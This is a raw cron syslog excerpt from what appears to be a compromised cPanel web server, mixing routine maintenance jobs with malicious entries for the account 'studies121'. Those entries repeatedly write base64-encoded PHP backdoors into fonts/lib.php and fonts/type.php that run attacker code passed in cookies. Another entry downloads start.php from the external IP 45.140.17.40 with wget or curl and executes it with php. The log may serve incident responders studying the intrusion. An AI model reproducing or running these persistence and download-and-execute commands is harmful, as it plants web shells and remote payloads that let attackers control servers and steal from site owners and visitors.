Sep 10 04:57:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:57:01 ip-184-168-122-23 CROND[3815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:57:01 ip-184-168-122-23 CROND[3813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:57:01 ip-184-168-122-23 CROND[3816]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 10 04:57:23 ip-184-168-122-23 crontab[3983]: (root) LIST (root)
Sep 10 04:57:23 ip-184-168-122-23 crontab[3985]: (root) LIST (root)
Sep 10 04:57:29 ip-184-168-122-23 crontab[4071]: (root) LIST (root)
Sep 10 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 10 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 10 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 10 04:58:01 ip-184-168-122-23 CROND[4388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:58:01 ip-184-168-122-23 CROND[4391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:58:01 ip-184-168-122-23 CROND[4392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:58:01 ip-184-168-122-23 CROND[4396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:58:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:59:01 ip-184-168-122-23 CROND[4844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:59:01 ip-184-168-122-23 CROND[4845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:59:01 ip-184-168-122-23 CROND[4849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:59:01 ip-184-168-122-23 CROND[4846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:00:01 ip-184-168-122-23 CROND[5068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:00:01 ip-184-168-122-23 CROND[5071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:00:01 ip-184-168-122-23 CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:01:01 ip-184-168-122-23 CROND[5172]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 05:01:01 ip-184-168-122-23 CROND[5173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:01:01 ip-184-168-122-23 CROND[5177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:01:01 ip-184-168-122-23 CROND[5175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:01:01 ip-184-168-122-23 CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:01:01 ip-184-168-122-23 CROND[5174]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5172]: starting 0anacron
Sep 10 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5194]: finished 0anacron
Sep 10 05:02:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:02:01 ip-184-168-122-23 CROND[5331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:02:01 ip-184-168-122-23 CROND[5332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:02:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:02:01 ip-184-168-122-23 CROND[5334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:03:01 ip-184-168-122-23 CROND[5447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:03:01 ip-184-168-122-23 CROND[5448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:03:01 ip-184-168-122-23 CROND[5451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:03:01 ip-184-168-122-23 CROND[5453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:04:02 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:04:02 ip-184-168-122-23 CROND[5658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:04:02 ip-184-168-122-23 CROND[5656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:04:02 ip-184-168-122-23 CROND[5659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:04:02 ip-184-168-122-23 CROND[5660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5766]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:05:01 ip-184-168-122-23 CROND[5773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:06:01 ip-184-168-122-23 CROND[5904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:06:01 ip-184-168-122-23 CROND[5907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:06:01 ip-184-168-122-23 CROND[5905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:06:01 ip-184-168-122-23 CROND[5908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:06:01 ip-184-168-122-23 CROND[5909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:07:01 ip-184-168-122-23 CROND[6016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:07:01 ip-184-168-122-23 CROND[6018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:07:01 ip-184-168-122-23 CROND[6020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:07:01 ip-184-168-122-23 CROND[6019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:08:01 ip-184-168-122-23 CROND[6141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:08:01 ip-184-168-122-23 CROND[6142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:08:01 ip-184-168-122-23 CROND[6143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:08:01 ip-184-168-122-23 CROND[6147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:08:01 ip-184-168-122-23 CROND[6148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
